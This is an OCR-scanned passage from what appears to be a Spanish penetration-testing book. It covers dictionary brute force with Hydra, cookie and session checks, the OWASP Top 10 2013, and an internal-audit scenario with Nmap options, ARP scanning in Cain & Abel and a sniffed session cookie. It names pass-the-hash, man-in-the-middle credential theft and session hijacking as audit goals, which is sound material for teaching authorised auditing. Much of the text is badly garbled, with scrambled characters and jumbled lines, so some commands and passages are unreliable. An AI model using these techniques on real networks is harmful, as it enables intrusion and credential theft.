posible resultado negativo en la prueba es la fuerza bruta con diccionario.

El diccionario a utilizar es variable y dependerd del tiempo para paralelizar tareas, automatizarlas y
Hay que recordar que los puntos de entrada no tienen por qué ser

poder comprobar los resultados.
icios SSH., FTP. MySQOL, SMB, elcétera.

solo de tipo web, en este apartado se tratarian desde serv
pero lo ideal

Si se utiliza un diccionario grande se tardara un mayor tiempo en ejecutar esta prueba,
ste es mds 0

es comprobar si el usuario y contrasefia podria encontrarse €n un diccionario, y si €

Menos seguro.

Capitulo 1I. Confeccionando el ataque m

T - i : o .
(olr Ce.j'em;)l;) Slgillﬁcalivo se quiere mostrar que los puntos de entrada y los posibles fallos varian
=n [unei i cac i i ! : ; .
In- u 011_ded usuario que acceda por este punto. Es decir. no sera igual las posibilidad de encontrar
v r 2 E= j* 111 1 1 )
baja seguridad en un ppnto de entrada que solo utilizan administradores de un sitio, que un punto de
entrada que utilizan miles de usuarios. | . V

Afle as. sia los usuarios se les permite configurar cualquier tipo de contraseiias, sin restricciones
Jas posibilidades de encontrar una contrasefia débil aumentan en gran medida

Herra?;‘memas.; como Hydra facilitan la ejecucion de esta automaltizacion. El propio Burp Suite puede

tambleljl .realllzar este tipo de acciones. Hay herramientas més especificas como son Brutus4ET 2

para thl. izar adfuerga bruta con servicios FTP. Realmente el auditor debe elegir en cada instante lo

que mejor pueda utilizar conociendo la eficiencia d rami .
s a de la herramienta en todo m

. | omen :

se sienta coémodo. B

Gestion de sesiones

Lla ges.llon de sesiones puede pasar desapercibida para muchos usuarios, pero es un punto en el que

; /_t:c me.slf_w deble anrahzar e intentar jugar con ello. Se pueden enumerar un listado de pruebas que se
cbe realizar a las [amosas cookies para comprobar ; sesi i i ”

3 S I que las Ses10nes se gstan realiz DAE ancre

iy ealizando de manera

En primer lu%vgar hay que hablar de los, ya mencionados, flags secure y [ITTP-only. El primero de ell

clcbe ser e.nv%ado desde el servidor al cliente cuando éste inicia sesion nmdiante‘e-‘l jrém"(:lc: H};PDQS
lee:ff'cwg indica al navegador que solo puede realizar navegacion en este servidor Rli la c; iy
va cifrada. En easo de detectar que un servidor cuando asigna la coekie no esta L‘l;\-"lal 1 ﬂ"le;Cdu'on
conexion debe ser segura, se debe apuntar como fallo de SEQLU‘]'dad. ( PREERET

En seg 1gar iy, el e i |

_nl?k““d? lugar el flag HTTP-only, el cual ha sido trabajado con anterioridad. Este /lug evita que
» T el bt b & =S v i -7 G T g § 3 %
codigo sc Il{p! pueda acceder a la cookie, solo siendo el navegador el que puede hacerlo. La falta de
este tipo de mecanismo de seguridad hari / i - ;

seguridad haria que la cookie pudiera quedar expue 1
. rexp a, de er

e = p q pucsta, de manera mas o

O.lra l‘.ecomcnducién o circunstancia a comprobar es la validez de una sesion desde distintas
d1rcc.c1oncl.s IP. Este hecho es mds comin de lo que se puede pensar y se debé valora} o -]b !m.?,b
medida. Si el lenlorm) es extremo y critico, quiza es necesario valorar es{a accibn como a]u;l,]]- Sj“ Jué'ld
para la seguridad de la organizacion. En otros muchaos entornos este punto no es I'ele\-‘: . eLESQ_] l_(‘)
siempre debe ser valorado. 2 ante. aunque

Otra prue i i
Com)p ; ba que hay que verificar es la de determinar los limites y cierres de la sesion. Es importante
robar servidor etill i i
- _[ bar que el servidor haya realizado correctamente esta accion, para que las cookies no puedan
rreutilizadas en otro espacio o tiempo. | o

Se han d i
ado esc - fii ]
ly escenarios de grandes compafifas cuyo webmail no cerraba correctamente la sesion
navegagd (;m usuario que previamente habia robado la cookie con algin método podria seguir
0 dentro de la sesidn, aunque el usuario legitimo cerrase sesion. i
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gt ‘ Que informacion debe tener una cookie? Existen casos en el que en la coolkie
| no deberia. En el siguiente ejemplo se puede visualizar cierta informacion que podria viajar en una

cookie, esto esta basado en hechos reales.
- . PHPSESSID.

- - user lipo.

viaja informacion que

- id usuario.

- user_user

- id=(Identificacion).
- wser=(Usuario en texto claro)

- pass=(Hash de la contraseia).
El campo user y pass 1o deberian ir en la cookie, pero ademas el campo user_user €s nuevamente
6n. Quién roba dicha cookie dispone de mucha informacion, partiendo de la
acion que es enviada en la cookie, ya que
fallo de seguridad y exposicion

¢l usuario de la sesi
contrasefia hasheada. Hay que analizar y valorar la inform
una mala implementacion de este sistema puede provocar un gran
de informacion.

Por ultimo, se debe tratar un aspecto matemAatico, y en ocasiones dificil para ciertos informaticos,
como es la predictibilidad en la generacion de valores en las cookies. Algunos de los parametros
deben ser totalmente aleatorios. y esto en algunas ocasiones no se cumple. por lo que obteniendo

diversas cookies se puede encontrar un patrén por el que se puede predecir el valor de la cookie.

Top 10 OWASP 2013

Este Top proporciona un informe de las vulnerabilidades que mas afectan y que mas se encuentran
hoy en dia en las aplicaciones web que se encueniran ¢n Internet. Desde hace varios afios
vulnerabilidades como SQL Injection © XSS copan los primeros lugares, pero exisien otras que van
aparceiendo en el fop v que se deben conocet.

as vulnerabilidades que se encuentran

Hay que tener claro que el auditor no debe quedarse solo en |
os de problemas que pueden afectara

en el fop, sino que debe realizar un analisis global de los cient
la seguridad en general de una aplicacién web.

del Top 10 de OWASP se puede encontrar en la siguiente direccion URL
ages/5/5f/OWA SP Top 10 - 2013 K inal_- Espanol.pdf. El documento
de seguridad especificando categorias ¢ indicando riesgos Yy soluciones
de seguridad. Es muy ilustrativa proporcionando cjemplos rapidos 3
ha mencionado anteriormente € queda en la superficie, en Jas 10

El documento oficial
/irrp.s‘.'//‘L|‘u'n'.mvasp.m‘g/r'm
presenta un componente
al problema o incidente
los problemas. pero como s€
vulnerabilidades méds encontradas hoy en dia.

Una auditoria es un proceso que debe ir mds alla de este fop, entonces i

verdad que las vulnerabilidades que salen en este documento son muy importantes, ya que su orden

Por qué conocerlo? ES =

Capitulo 11l. Confeccionando el atague
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de aparicion en Internet e

\_C“-tlﬁcar R HLLLS Il];Ll!_V grande y, por supuesto, las empresas conocedoras de esto, quier

; 7 vulnerables a éstas. Tambié i R e
. : ‘ én es cierto que el mundo de la informati i

e i el : . e la informatica esta en
; - por lo que dichos cambios provocan que aparezcan nuevas vulnerabilidad ‘

pueden no encontrarse en el top, al menos por ahora S

A Contilﬁuac.ién se pl‘DpO[’CiOna 6] ]1 A YAricio 7} Y
L st d{}. pUl‘ DI’dBn dE ape [’i Te i
; IU]:”-I 1 F : I AS . 1 €1l Ill'[ l”le‘[, de ]BS ‘Llhl'ez‘abllidades

=

. Inyeccidn,
. Pérdida de autenticacion y gestion de sesiones
. Secuencia de comandos en sitios cruzados (XSS).

. Referencia directa insegura a objetos.

B K

Configuracion de seguridad incorrecta,
Exposicion de datos sensibles.
Ausencia de control de acceso a las funciones.

Falsificacion de peticiones en sitios cruzados (CSRF)

=l R B ) V]

Uso de componentes con vulnerabilidades conocidas

10. Redirecciones y reenvios no validados.

I's importante estar infor : , -
cl'lsiﬁsquqs b ot I fotmado por OWASP o SANS para conocer nuevas vulnerabilidades, saber
arlas, definir el impacto, y como no saber explicarlas posteriormente al cliente o

3. Auditoria interna

Las auditorias internas pr 2

do T : '[1““”35 proporcionan un estado de la seguridad de los distintos segmentos d |
* la empresa. Estos se - oy = 5 segmenlos de re
privilcgi(l)s di ) tos 'se_gmentos de red son ubicaciones internas las cuales no disponen de grand )
g e comne ; . P ¢ grandes

s g Clw]lda(:l con sistemas que contienen informacion sensible. Dicho de ot.-g H(]Od
€5 I 1 . GAarA ) 5 Q.
P i g ?ezs el aL]mgtoll serd el de un empleado cuyo equipo se encuentra en uno de
RHES S . can el fin de encontrar las vias i =
decedear s Hilse o ; as vias que dispone este s Gt — -
acceder a informacién sensible a la que no esté autorizado ] supucsto empleado para

U p W
tro “S]bll, |0| ¢ < [z e3d que
C]LIE €8 Ul.il]deO €n es llp y L witado de I 1 el lp] |
gsle (8] (le aLic tO] 195 es de 1un t, d 1 o

5€ conecla con i
st equl]’JO da lﬂ ]'ed C(]l‘p()l‘at' & jeti
= : 1 va. l o U €5 e i ;? C
Vi e s Hip a [ 1.1]'3 1VO €S | mismo que el ae! 1¢ (7 B G4 add
Slllllldd 0 sustraer lﬂTOl'maCiC')]‘.l sSe Sib]e B 1“ I l [ l ﬂ d I 1 I , -

Para ¢ i
ntender mejor este ti itor
i des,nj-m”@stedtlpo de auditorias se debe conocer que los segmentos de red suelen ser d
Gitpifiners o Cong. e mz]u ketlgg, y con puestos informaticos que no dispongan de privilegios
¢ , 88 ce que lasredes see ran s i
A s A (;m Cua]qu.u‘lcue{mal& :.flrgmentadas y que un usuario no puede acceder
i ier equipo de la red. Este hecho e AS i
ones 5 oot alc s ho es el mas comin en grandes
presas con un minimo detalle de seguridad en la red interna. Esta serrmehntacié-
s ju n
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se realiza mediante la implementacion de VLAN, la cual proporciona una solucion de aislamiento

interesante.

otallaran a continuacion deberan ser realizadas y documentadas en forma de

Las pruebas que se d
las técnicas y objetos

diario. Esta forma de redactar informa a la empresa que contrata el servicio
interesantes encontrados durante las distintas jornadas.

Pruebas

La auditoria interna puede ten
auditorias internas. Los objetivos no comunes Vv
compongan la red interna de la organizacion.

er distintos objetivos, aunque algunos son COMUnes a todas las
jenen dados por el tipo de redes y sistemas que

Por ejemplo, si la red es de sistemas Microsoft Windows estara compuesta por dominios, los cuales
dispondran de uno o varios administradores de dominio, por lo que consiguiendo dicha credencial,
se podra acceder a toda la informacién sensible de este tipo de sistemas. Si la red es de sistema UNLY
los objetivos pueden cambiar, y la via para acceder a la informacion también. En este capitulo se
pretende, mediante el uso de ejemplos, explicar en detalle como deberan trabajar los auditores en el

mundo profesional.

Las pruebas que generalmente se llevan a cabo en este tipo de auditorias, con el fin de encontrar la

via de acceso a la informacion sensible, son las enumeradas a continuacion:

Disefio. andlisis de la topologia de red y analisis de la segmentacion. Las primeras
neuentra en el segmento a auditar, son realizadas para detectar
conocimiento del entorno es imprescindible para
as maquinas adyacentes. Obtener un listado
direcciones [P es imprescindible

pruebas, una vez el auditor sce
I visibilidad con las maquinas de la red. El
poder ir realizando las distintas pruebas sobre |
de sistemas operativos, versiones de productos. servicios y
para que la auditorfa interna sea un éxito.
Andlisis de seguridad de VLAN. Comprobacion de que las VLAN implementadas en las
ente. Se realizardn prucbas para comprobar
puede renegociar el tipo de

redes de la organizacion funcionan correctam
que no se puede evadir la VLAN. Existen pruebas con las que s¢
puerto del switch, con el objetivo de obtener un Lipo {ruik.

- Seguridad de los puntos de acceso. En las grandes corporaciones existen mecanismos
que no permiten realizar ataques ARP Spoofing. entre otras acciones. por lo que hay que
verificar que estos mecanismos 4 nivel de puerto funcionan correctamente. Un ejemplo es
Port Security el cual proporciona un mecanismo para restringir una direccion MAC a un
puerto determinado, y en caso de violacion se gjecutard una accion restrictiva, notificandoal
administrador la accion ocurrida o deshabilitando el puerto.

pruebas que hay que llevar a cabo
so de la ted en la que se encuentr
gcnica para envenenar el trafico.
dré recibir trafico por descuido

- Sniffing de red y andlisis de trafico de red. Otra de las
es evaluar el trfico que es visible desde el punto de acce
¢l auditor, Esta accién se realiza sin llevar a cabo ninguna t
Con esta accion se pretende verificar que el auditor no po
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Los ebjetivos de estas pruebas se itici
e didho 03 { estas pruebas se deben marcar por criticidad en funcion de la informacidn sensible
e dichos sister > la re estionar : 1
ey nas de la red puedan gestionar o almacenar. Algunos de los objetivos comunes g
se de . i an et 1 1 1 b L ) ‘- b ‘
e deben ir completando en este tipo de auditoria son los siguientes: o
- Posibilid: ilizar técnicas :
: idad de utilizar técnicas pass the hasi con el fin de impersonalizar cualquier tipe
de usuario de la organizacion. R
- Conectividac 2L riticos i
ectividad con equipos criticos. con los que a priori no se disponia de conectividad
- Intrusicr Aqui rit] i - ‘ i
e llen maquinas criticas con el fin de obtener informacion sensible o posibilidades
sponer de acceso a otras magquinas d raanizacic , ot o
s de la organizacion. En este capitulo se g
pis s e s | Taniz . En este capitulo se tratard cl tema
el desplazamiento vertical y horizontal en las auditorias o
- Informacidn sensi SCrvi qui
. mauoln sensible en servidores o maquinas que no deberian ser almacenadas, Existen
aquinas en la organizacidn que pue h . pigeiin
aqut g pueden almacenar datos que se encuentr icl
il VRN, G0 ; . $q e encuentran en dichas
quinas por error, Esta informacion serd localizada v documentada en el informe final
linfo al,

Obtencid redenciales de ini
encion de credenciales de administrador local de una méquina
- Obtencidn de credenciales de administrador de dominio.

btencidn de credenciales o Jiashes de usuarios de dominio.
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nformacitn confidencial, como por ejemplo, datos privados, cuentas de
da dafiar la imagen corporativa de

atos del pais en cuestion.

- Visualizaciénde i
usuario. datos de clientes. En general, informacion que pue
a 0 no cumplir con la legislacion vigente de proteccion de d
. Modificacién de informacion confidencial. Demostrar la posibilidad de que un potencial
atacante puede modificar la integridad de la informacion sensible de la organizacion. Por
ejemplo, en una entidad bancaria se podria cambiar nimeros de una cuenta de un cliente.

la empres

PoC: Escenario inicial de auditoria interna
diar en este apartado sobre auditoria interna se

enario. que facilmente seria reproducible en la realidad. La empresa dedicada al

“7]hanks” ha contratado los servicios de su empresa para llevar a cabo la auditoria
urmniran, es el de un empleado del departamento de desarrollo.

En las pruebas de concepto (ue s¢ pueden estu
propone un esc
indole bancario
interna. El rol, que los auditores as
resa, aunque por facilidad de comprension se

A continuacion se detalla el escenario interno de laemp
Por ello, se realizard un esquema de resumen

detalla més factores que a priori el anditor no COnocera.
en el que se muestra que cosas conoce el auditor a priori y cuéles no.

La red corporativa dispone de un dominio con dos controladores
DC/.dominio.intranet con direccion /P N1

de dominio.

o Controlador de dominio
o Controlador de dominio DC2.dominio.intranet con direccion IP 10. 0.2.2.
La red en la que se encuentran los controladores de dominio es la red /0. 0.2.0/8.

o
ente al 4rea de desarrollo, en el cual el auditor

. Existe un segmento de red correspondi

comenzara a llevar a cabo la auditoria.

o  Este segmento se encuenira en la red 10.0.0.0/8.
Existen servidores de pruebas de desarrollo con sistemas operativos Microsoft

©
Server 2000, Microsoft Windows Server 2003 y Microsofi Windows

Windows
Server 2008.
o Existen maquinas con sistemas operativos Windows XP y Windows 7.

Oxiste un servidor con Zabbix, el cual es un sistema de monitoreo de redes

@]
disefiado para registrar el estado de varios servicios de red, servidores y hardware.
El servidor de Zabbix se encuentra en la direccion 1P 10.0.0.4.
& El auditor dispondrd de un equipo en la direccion IP 10.0.0.1, y serd su propio
locales. En caso de

dispondra de privilegios administrativos

equipo. por lo que
eguramente no se tuvieran privilegios

ser un equipo propio de la organizacion, s
administrativos locales y habria que adquirirlos.

egmento de red correspondiente al area de finanzas de la organizacion, al cual

- Existeuns
¢l auditor puede no tener acceso directo a ciertas maquinas.

o  Este segmento se encuentra en la red 10.0.1.0/8. A priori, se puede entender que

hay conectividad entre la maquina del auditor, con direccion IP 10.0.0.1, con el

de finanzas, pero cuando se intenta acceder, no se dispone de conectividad con
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lodo el seg i ! i aqui
B ql‘.bmenlo. pudiendo acceder a ciertas maquinas. Existen mecanismos que
Vi . A e i 1 : s
an el acceso entre la maquina del auditor y ciertas maquinas de finanzas

o

Exi SEIVI i

les;en se;wdore; )(;)e pruebas de desarrollo con sistemas operativos Microsoft
ndaows Server 2003, Microsofi Window ver Mi  Windon

vy if ws Server 2008 y Microsoft Windows

Existen mdquinas con sistemas operativos Windows XP y Windows 7

Exist rvidor icacid ] '

o tle lL'm smlwdo; con la aplicacion Business Objects, la cual es una herramienta
» intelig i !

. inteligencia de negocio en los procesos de las organizaciones. La direccion /P
onde se encuentra este servidor es 70.0.1.4.

- Existe un '

e 2 S?gn}ento dc? lred que se corresponde con el 4drea de produccion. Este segmento

. p..d ] maquinas criticas para el negocio de la empresa, por gjemplo pued: tener
rvidores donde se almacenan los temas economicos de los clientes

o 'Esté segmento se encuentra en la red /0.0./0.0/8. El auditor puede disponer d
acceso a algunas méquinas de produccidn, pero no seran sistemas im lzmrtfu t )
Pp}' gjemplo, las bases de datos donde se encuentra el servidor web llrfl,‘ : lE 1 cs]
snlt?« 0 |E{5 bases de dates con la informacion de clientes no serdn ac ‘:I'E)ljl'-oﬁ1 t'
la direccién /P /0.0.0.1, maquina del auditor. L e

e i I Jel 1 o 11 3
1};;;?5(;21‘1‘éc_?ylfi,cirleb?de )pl uc,hgis_ de dgsar’{'olio con sistemas operativos Microsoft
e u:s erver 2008 y Microsofi Windows Server 2012. Ademas existen
isu‘\:ldm e_s’ c01]'§zstemas operativos A/X de IBM. los cuales pueden ‘;im*;‘t; §
|nf0r1?1acmn critica de la empresa. Es importante detectar los sislemas L L "‘?“7
no Microsoff para llevar a cabo pruebas sobre dichos sist-ema; R

o [JI’1O (je los qbﬁtwos importantes es llegar a tener privilegio para acceder :
maguina critica de produccion. ) R

LU\. tres segme 8 ie e JJE Q8 S Qec aesa dnzas Iroaucc &
N 05 ¢ 1K d Q VO§, © s (6] IO. 1 ds Y (6 1on d!‘:pOﬂLI jL
el as ¢ 3 c arvos d i [ A ‘ 3 la. Calc 25 ; Ll()
mec con sistemas ope &} Q i -l {4 1"(]5()]." que adL] S. esfan c Hl gLradd e 8|
e 3 0 s n entor
ONrolaic \” ges l'dm. dO Active DH ectoy, p 3 ) q anﬂ 1en 5er \"ld()](.h COIML
( T . ( Ak . } 5 e 4.{] 11‘ ¢ ( { € S¢ 7a Jien s Sllele) i
Haores df. d() 1 . .S )llLde e e]l[l‘{_ este hecho como qUL t ]les as aqu ue perte &
Tt .;J,.)l'} 20 (6 B = < 2 l 2 | . ql”as L] \_l) = o
« t & e F LS} c 1l €808 5 ¢ clda )8 SCr Ores qu cne
adao e CHIMENLOS S [raves C]E O
- d Sspleos d - ey e1t e-unen a el at & BTV d = a
cLeonng llldo GI OI de controlador dE dU” mnio. .

En el caso de los si
= S ¢ los sig ; 55 .
esploinoin gl T‘Htemas H(Jl Microsoft se tendran que utilizar otras vias distintas o téenicas de
o rRE alternativas para lograr vulnerarlos - a inf - ' N
j sy obtener la infor 5 ari

de pentesii 2 nformacion necesaria en el proyec

sting. Au e ’ T — : a en el proyecto
Mictasoft Wind " “5_1(3_0”1”“ pensar que estos sislemas que no utilizan sistemas operativos
) soff Windows son utilizados por usuarios lécnicos ' . S B allve
st ol _ £ éenicos, esto no tiene por qué ser asi. v :
necesariamente qué ser informaticos. B MU SorosL,  ne'kench

Puede sue
suceder que 3 anz ili
e bioc,| IUIlb(.l]"I])]EadO de finanzas utilice una herramienta en su dia a dia de trabajo que
4 7 B 3 . . . - .
Windonss 5 o : eln a base de datos de nominas, por ¢jemplo desde un equipo con sisterma 11f£=mwﬂ
i e E . e . o o ' ‘
que el punto de ataque del servidor no Microsofi sea el equipo del trabajador citado .
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Red  Zabbix
Desarrolio
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Produccion
Servidores c
Criticos 40.0,10.0/8
Produccion

Red
Finanzas
10.0.1.0/8

Equipos
Finanzas

Fig. 3.25: Esquema interno simbolica de la prueba de concepto.

Una vez presentado ¢l escenario de Tas pruebas de concepto que s¢ Jlevaran a cabo en el apartado
sohre auditoria interna, se debe tener en cuenta cual es el punto de partida del auditor. Este solamente
conoce el segmento donde se encuentra, es decir. la red de desarrollo de la empresa. El auditor da por
hecho que no dispondra de conectividad con méquinas criticas o regiones de red donde pueda existir
flujo de informacion sensible. En este tipo de procesos no hay que dar ningtin hecho por confirmado
hasta que realmente se verifica.

4 cabo el auditor es el de identificacion de maquinas, servidores,

La primera accion que debe llevar
conocer los elementos que rodean al auditor

servicios y versiones de productos. En otras palabras,
en esta situacion inicial.

erramientas como Nmap. con la que el auditor

Para llevar a cabo esla accion se pueden utilizar h
btener elementos de estudio.

escaneara el rango de red donde se encuentre con el finde o

de ARP, con ¢l fin de visualizar que maquinas son visibles

Otra opcién valida es utilizar un escaner
onectividad, a no ser que otro element0

en el nivel de enlace, por lo que s¢ deberia disponer de ¢
limite dicha conectividad.

o el escaner ARP se podria utilizar una herramienta como Cain & Abel. Enla siguienté

Parallevaracab
dra realizar un descubrimiento ¥

imagen se puede visualizar la herramienta Nimap, con la que se po
fingerprinting de las maquinas del segmento.
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Es importante realizar .

accesgj EhisLLneahZ‘E,l’l esta accion por cada segmento, y por cada nueva miquina a la que se tiene

: . Existen profiles i e s

ofile para 1l profiles que indican el modo en el que se utilizard Nmap, es interesante realizar un
‘ ara llev : S i o ; ;

i{- et p 1 ' C.ab(}. un descubrimiento rapido de maquinas, y una vez se visualicen intentar
etectar alguna méaquina interesante en el entorno. i

Zenmap
Lo & ]

Scan Tools Profile Help
Target: | E:l Profile: 7 7 _B Scan Cancel
- V B S .y Lancel

Command: “

E Hosts ”jenfics J JW/Eoﬂs | Topolngyl Host Detailsl Scansl

05 ¢ Host « " =
— — | Detailz

Fig. 3.26: Zemmayp.

'\"l.’ﬁ'a' i i L
{ : p.leede Sup()l]ell, a prlmera V]Sta. una heﬂa]ﬂ]bﬂtﬂ costosa de U“li?a] pU] s ﬁe\lbi“dﬂd Y
IVersl! po C]OTIGS a [Lali 4 (l e ) C ([l.i ) : (
2 dad en las i €5 Zar con E”a ]"S V El(lad ue ¢ i i
l 5 ]] ‘i.aC . dJS 0on T |
: . . ; ’ aran canti dd de
)(.l[a eti 555 pOI 10 C[ile 5€ lentara Ilstﬂ] ¢ ]gll.l'IOS de mnteres IL}HLiO“adUS COr IOS I1|J05 df. gscdancres
VISLOS €11 €8 1b10. laim i(.,n S¢ [)Llede' I’ i o I L ) . (
slos en este o l l) CI, S eC-DITlendal Ll uso de 17 161‘[‘&(: i i
- i ' i o €5 Llﬂf]CdS yara |a ufl ll[d
de A’f”fn’j?, }’ de este ]“0[10 S]l]TpllﬁCa.I 61 tl’lt@ndlmitﬂ[o y uso dL ld hEI a[TlLenld 0

L.a ejecucion de los s Nz )

ot L s comandos Nmap se puede generalizar mediante el siguient S

<fipo de scan> <opciones>. La ¢jecucion por defeclo ia la sioui 3 % SRIREL S
) ) sk ] seria suiente A

rango de ey a la sigmente Nprap <direccion IFP o

Una vez gjecut e . 7

. (ILlal.IeJ 1 atclo S;'Obtmk un reporte de las maquinas encontradas, en la que s¢ puede encontrar

en detalle, puertos abiertos, sistemas operativos i i

el 1vos, versiones de productos s ;

ierte. estade: de Ho il i ) = ; que escuchan detrds de un

pucd - ’].dc la mdquina, etcétera. A continuacion se explica y detallan algunas opciones que
) C l. A 7 “- " oy - . N = &

p er validas en la ejecucion de estas tareas en el ambito de la auditoria interna l

o cl,

Parametro Deseripeion v Ejemplo

El escane izara fingerpii i i

0 | SLa.neo realizara fingerprint del sistema operativo con el ebjetivo de obtener
':l o ’ E - . - . :

a version de éste en las maquinas remotas. Ejemplo: amap -0 <direccién IP>

CO] este parametro se andl]zd 'quE: eqt]'poq Se encuentran activos en una |Ed.
E]ElnplO. ??HT(I}U _Sj 1’92. ] 68 0. O/_:-‘I
P(.’ 1 I'lf,‘ cal a ane i g I—
'-SX 1Zar un escan |}0 /‘\J i’/—L; S{ﬂ” Een] I{)' A \ e 1
Q de t )G D RRAD —sA = e [
P> {4 ,T § (]H( CCIO

S? Indica sobre qué puertos se debe realizar el escanco. Ejemplo: mmap —p 139
p 80, 3389 <direccién IP>. Para indicar rangos especificamos el puerto de la

siguiente manera 70-120.
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Parametro Descripeién y Ejemplo
" Este parametro habilita la deteccion del sistema operativo. ademas de las
versiones de servicios y del propio sistema. Ejemplo: nmap —A <direccion P>
S Se lanza un escaneo sobre varios equipos o una red. Permite obtener un listado de
-8 . . : = .
puerios abiertos de estos. Ejemplo: nmap S 192.1 68.0.0/24
N Permite realizar un escaneo de tipo Null Scan. Ejemplo: nmap —sN <direccion
_S'
P>
. Permite realizar un escaneo de tipo FIN Scan. Ejemplo: nmap —sF <direccion
-8
P>
Permite realizar un escaneo de tipo idle. Ejemplo: nmap —P0 —p - -sI <direccidn
I zombie> <direccién victima>. Cabe destacar que la opeién —p— permite realizar
- . x -
un escaneo sobre todos los puertos de la maquina, esla accion puede provocar
que el escaneo se ralentice en gran medida
-sV Obtener las versiones de los productos. Ejemplo: nmap sV <direccion IP=
Permite exportar la informacion del an4lisis en un archivo XML. Ejemplo: mmap
-0X _ O sV <direccion IP> -0X arehivo.xmi. Con la opcion -olN se puede exportar la
informacién en un fichero de texta

[in la siguiente
indica el sistema operativo y la direccion IP ¢ nombre de miquina,

Tabla 3.01; Pardametros para obtener informacion variada con pdp.

imagen se pucde observar un descubrimiento de maquinas, donde visualmente se

si ¢éste se ha podido obtener con

el proceso de escaneo.

Es interesante resaltar que |
herramientas puedan util
explotacion © analisis de vulnerabilidades mas concretas sobre las maquinas

estudiado.

05 4 Host
Q==
o R
|
. - < S

Fig. 3.27: Descubrimicnto de migquinas a ravés de Nmap.

a herramienta Amap permite la exportacion de los datos para que otras

ar dicha informacién come punto de inicio para lanzar otros ataques d¢
del entorno de red

Se pueden estudiar los puertos que tiene una maquina o grupo de mégquinas abiertos, tal y como seha
comentado anteriormente. En la siguiente imagen se puede visualizar un ejemplo de esto.

ﬁ
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STATE SERVICE

FTCp apinh me— S s

CR Dper) LI g

SUSU/top open  mnco
5054y tep

open rlwm oadmin

guatn,/tcp apen  ajpl

S o
Fig. 3.28: Descubrimiento de puertos abicrios con Nmap.

En la imagen superior s / i i
mﬁ(}umdz pr].1(110r se puede ver, simplemente analizando los puertos que ese servidor tiene
Cl - ﬂﬂ - 4 47 3 rY ’ ‘ -
cn“-eg:(m_;q i 1(;. e A.cme DIIC’f()Ij. - al aparecer los puestos del servicio microsofi-ds y que
s, tiene disponible las conexiones de Terminal Services. lo que lo haria un buen ‘objecll' :
i & jeuve

a ataques de man in the mi 5 5
ju 1 i the middle para intentar robar las credenciales que se envien contra ¢
cualquiera de los dos servicios citados. ) &0 Coim o par

A continuacion, en la i igui i i
L . lez imagen siguiente, se puede visualizar como utilizando la popular herramienta
2 4 r i > i 1 1
q ainn & Abel se pueden obtener las direcciones 7P del segmento de red al que esta
3 tamos

L'()I]L;Ll"r]dO'S con sus res pe(,t[\dcl d'leC 'i()l e /4 q 1€ lenemaos co ecuv (l [ >
5 di C [1eS JM C a ]ElS S i
u £
VL ad a traves dbl HIVE]

} ] t 3 e
ay que tener en mente C]l.le SI el eqlll 0O L1IENE varidas conexione (S [ as €
H 1 i vV ~ d o
p £ S 1 d CO[]ﬁ_:,Llrcld N el sistema

OpL‘lﬂth(J S€ dﬁ'be U[ll c |' <l
> 1zar la lnlLl]LaZ correcta cor 1 Jl Cl10 ) V z
A a4a
] ICdclon, COomao se ] llede 151]&“ dl” CI |u

Configuration Dialog

Challengse .Q:;pauiing I Filters and ports | HTTP Fields ] Traceoute ]
niiffer APR [ Arp Poison Routing | I

apter IP address
2 \Device\WEE {S1CD05... IR
ﬁ,‘] “Devica\MFF_GereneDi . 0000

| Submet Hask
255 000
0.0.0.0

Fig. 3.29: Configuracion de interfaz de red con Cadin & Abel

Ia”.l Ia V. £ o
nzar el |
scaneo de Ied Llsand() e] pl‘OlOCO[O ARP S€ debe ]I)Ulsal‘ SObI‘E Cl bUté]] .Sf”‘/f\
' Fi tf [t

&2

ld ‘Tll-ﬁ 1 G . ] -

ihcado or un 1cono de una tarjeta de lEd, ara poste lO enti pUlsal 5 b[e € b ton dEIECll

i g .

SpC A ‘ pOS riormente 8] OLol1 (8] y
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&2 Decoders I§ Netwoi'@ Sriffer |@"’ Cr

[ our fingerprint

IF address l MaC address

Scan MAC Addresses

Remove &l

Clear Promiscunus-ade Results

‘ Export - !

Fig. 3.30: Ejecucion de escaneo ARP

Por Gltimo, queda analizar lo que se ha descubierto. Como se ha comentado, se objucnen direcciones
. ectado. Este tipo de escanco es

IP a las que directamente el equipo del auditor se encuentra conecta 1 el
mucho mas silencioso que otros en capa o nivel de red, y es altamente improbable que lo blogueen.

— = ‘
% CHALL CHELL B &9 W
- d il

W s [ " |
amedhill +y B

&2 Decoders |9 Netwuﬁl@?nﬂie)r_ jl@j‘} MCracker_J_@; T_r_ace

| MaC address J QUI fingerprint
NEN02744I0EA CADMUS COMPUTER SYSTEMS

IP address
10.0,0,3

e m =T T
Fig. 3.31: Descubrimiento de maquinas a través de un ARP Scan.

Esta prueba de identificacion de recursos se debera realizar por ca'da nu
a. Es decir, cuando el auditor obtenga acceso a otra maquina, ya sed de st

dispong quil e
ba de identificacion de maquinas, Servicios y productos.

de otro. debera llevar a cabo la prue

Este hecho hard que la topologia de |
completo.

Una prueba totalmenie necesaria para ¢
del auditor es la de sniffing de red. El auc
cualquier otro analizador de tréfico o sniffer con el fin de
IP, posibles redes no conocidas con
se corresponden con el equipo del au
grandes redes corporativas.

eva perspectiva que el auditor
1 misimo segmento @

ared vaya creciendo y el mapa que el auditor disponga sea mas

omprobar que no se recibird trafico no dirigido .al equipo
litor utilizaré herramienta como Cain & Abel. IfV.'reS!rlm'f\' 0
detectar peticiones multicast de direcciones
el fin de detectar trafico entre dos direcciones IP. las cuales no
ditor. Este tltimo hecho no es algo comn, pero ocurre en las

r
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+ Transmission control Protecel, Src Port: atm-zip-office (1520), Dst Port: http-alt (8080), Seq: 1, Ack: 1, Len: 857
ransfer P B SOl S 3
7 project/v )1 74 P AVA Em :
[truncated] Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbag
rReferer: hrrp:// e 50530/ /secure/groject /8 TGRS S TS = A R NFY
AccepT-Language: es\r\n
user—Agent: Mozilia/4.0 (compatible! MSIE 8.4; wWindows B S s
accept-Enceding: gzip, deflate\rin

e WZreay £ Ens

Fig. 3.32: Obtencion de una Cookie no dirigida al equipo del auditor,

En la imagen se puede visualizar como pueden llegar paquetes no dirigidos al equipo del auditor.
Este hecho es algo relevante, algo no funciona bien en la red, y lo peor de todo es la informacion que
puede contener este tipo de tréfico. Se puede visualizar que es un paquete HTTE el cual puede ser
leido completamente, y en el cual parece haber una cookie de sesidn, por lo que mediante hijacking
se podra suplantar la identidad de un empleado o usuario de la zona interna. A priori. no se tiene
